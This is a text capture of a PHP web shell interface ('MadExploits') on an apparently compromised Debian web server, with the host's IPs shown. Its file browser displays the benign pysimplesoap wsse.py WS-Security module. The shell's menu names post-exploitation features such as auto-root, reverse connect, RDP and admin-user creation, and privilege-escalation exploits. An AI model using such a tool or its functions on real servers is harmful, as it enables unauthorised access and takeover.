Linux biogene 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache
: 46.101.124.208 | : 3.15.1.45
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
pysimplesoap /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
307
B
-rw-r--r--
c14n.py
16.07
KB
-rw-r--r--
client.py
38.15
KB
-rw-r--r--
helpers.py
24.37
KB
-rw-r--r--
server.py
24.38
KB
-rw-r--r--
simplexml.py
21.12
KB
-rw-r--r--
transport.py
9.61
KB
-rw-r--r--
wsse.py
8.34
KB
-rw-r--r--
xmlsec.py
8.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wsse.py
#!/usr/bin/python # -*- coding: utf-8 -*- # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 3, or (at your option) any # later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTIBILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. """Pythonic simple SOAP Client plugins for WebService Security extensions""" from __future__ import unicode_literals import sys if sys.version > '3': basestring = unicode = str import datetime from decimal import Decimal import os import logging import hashlib import warnings from . import __author__, __copyright__, __license__, __version__ from .simplexml import SimpleXMLElement # Namespaces: WSSE_URI = 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' WSU_URI = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" XMLDSIG_URI = "http://www.w3.org/2000/09/xmldsig#" X509v3_URI = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" Base64Binary_URI = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" class UsernameToken: "WebService Security extension to add a basic credentials to xml request" def __init__(self, username="", password=""): self.token = { 'wsse:UsernameToken': { 'wsse:Username': username, 'wsse:Password': password, } } def preprocess(self, client, request, method, args, kwargs, headers, soap_uri): "Add basic credentials to outgoing message" # always extract WS Security header and send it header = request('Header', ns=soap_uri, ) k = 'wsse:Security' # for backward compatibility, use header if given: if k in headers: self.token = headers[k] # convert the token to xml header.marshall(k, self.token, ns=False, add_children_ns=False) header(k)['xmlns:wsse'] = WSSE_URI #<wsse:UsernameToken xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd'> def postprocess(self, client, response, method, args, kwargs, headers, soap_uri): "Analyze incoming credentials" # TODO: add some password validation callback? pass BIN_TOKEN_TMPL = """<?xml version="1.0" encoding="UTF-8"?> <wsse:Security soapenv:mustUnderstand="1" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="CertId-45851B081998E431E8132880700036719" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"> %(certificate)s</wsse:BinarySecurityToken> <ds:Signature Id="Signature-13" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> %(signed_info)s <ds:SignatureValue>%(signature_value)s</ds:SignatureValue> <ds:KeyInfo Id="KeyId-45851B081998E431E8132880700036720"> <wsse:SecurityTokenReference wsu:Id="STRId-45851B081998E431E8132880700036821" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"> <wsse:Reference URI="#CertId-45851B081998E431E8132880700036719" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/> </wsse:SecurityTokenReference> </ds:KeyInfo> </ds:Signature> </wsse:Security> """ class BinaryTokenSignature: "WebService Security extension to add a basic signature to xml request" def __init__(self, certificate="", private_key="", password=None, cacert=None): # read the X509v3 certificate (PEM) self.certificate = ''.join([line for line in open(certificate) if not line.startswith("---")]) self.private_key = private_key self.password = password self.cacert = cacert def preprocess(self, client, request, method, args, kwargs, headers, soap_uri): "Sign the outgoing SOAP request" # get xml elements: body = request('Body', ns=soap_uri, ) header = request('Header', ns=soap_uri, ) # prepare body xml attributes to be signed (reference) body['wsu:Id'] = "id-14" body['xmlns:wsu'] = WSU_URI # workaround: copy namespaces so lxml can parse the xml to be signed for attr, value in request[:]: if attr.startswith("xmlns"): body[attr] = value # use the internal tag xml representation (not the full xml document) ref_xml = repr(body) # sign using RSA-SHA1 (XML Security) from . import xmlsec vars = xmlsec.rsa_sign(ref_xml, "#id-14", self.private_key, self.password) vars['certificate'] = self.certificate # generate the xml (filling the placeholders) wsse = SimpleXMLElement(BIN_TOKEN_TMPL % vars) header.import_node(wsse) def postprocess(self, client, response, method, args, kwargs, headers, soap_uri): "Verify the signature of the incoming response" from . import xmlsec # get xml elements: body = response('Body', ns=soap_uri, ) header = response('Header', ns=soap_uri, ) wsse = header("Security", ns=WSSE_URI) cert = wsse("BinarySecurityToken", ns=WSSE_URI) # check that the cert (binary token) is coming in the correct format: self.__check(cert["EncodingType"], Base64Binary_URI) self.__check(cert["ValueType"], X509v3_URI) # extract the certificate (in DER to avoid new line & padding issues!) cert_der = str(cert).decode("base64") public_key = xmlsec.x509_extract_rsa_public_key(cert_der, binary=True) # validate the certificate using the certification authority: if not self.cacert: warnings.warn("No CA provided, WSSE not validating certificate") elif not xmlsec.x509_verify(self.cacert, cert_der, binary=True): raise RuntimeError("WSSE certificate validation failed") # check body xml attributes was signed correctly (reference) self.__check(body['xmlns:wsu'], WSU_URI) ref_uri = body['wsu:Id'] signature = wsse("Signature", ns=XMLDSIG_URI) signed_info = signature("SignedInfo") signature_value = signature("SignatureValue") # TODO: these sanity checks should be moved to xmlsec? self.__check(signed_info("Reference")['URI'], "#" + ref_uri) self.__check(signed_info("SignatureMethod")['Algorithm'], XMLDSIG_URI + "rsa-sha1") self.__check(signed_info("Reference")("DigestMethod")['Algorithm'], XMLDSIG_URI + "sha1") # TODO: check KeyInfo uses the correct SecurityTokenReference # workaround: copy namespaces so lxml can parse the xml to be signed for attr, value in response[:]: if attr.startswith("xmlns"): body[attr] = value # use the internal tag xml representation (not the full xml document) ref_xml = xmlsec.canonicalize(repr(body)) # verify the signed hash computed_hash = xmlsec.sha1_hash_digest(ref_xml) digest_value = str(signed_info("Reference")("DigestValue")) if computed_hash != digest_value: raise RuntimeError("WSSE SHA1 hash digests mismatch") # workaround: prepare the signed info (assure the parent ns is present) signed_info['xmlns'] = XMLDSIG_URI xml = repr(signed_info) # verify the signature using RSA-SHA1 (XML Security) ok = xmlsec.rsa_verify(xml, str(signature_value), public_key) if not ok: raise RuntimeError("WSSE RSA-SHA1 signature verification failed") # TODO: remove any unsigned part from the xml? def __check(self, value, expected, msg="WSSE sanity check failed"): if value != expected: raise RuntimeError(msg)
Close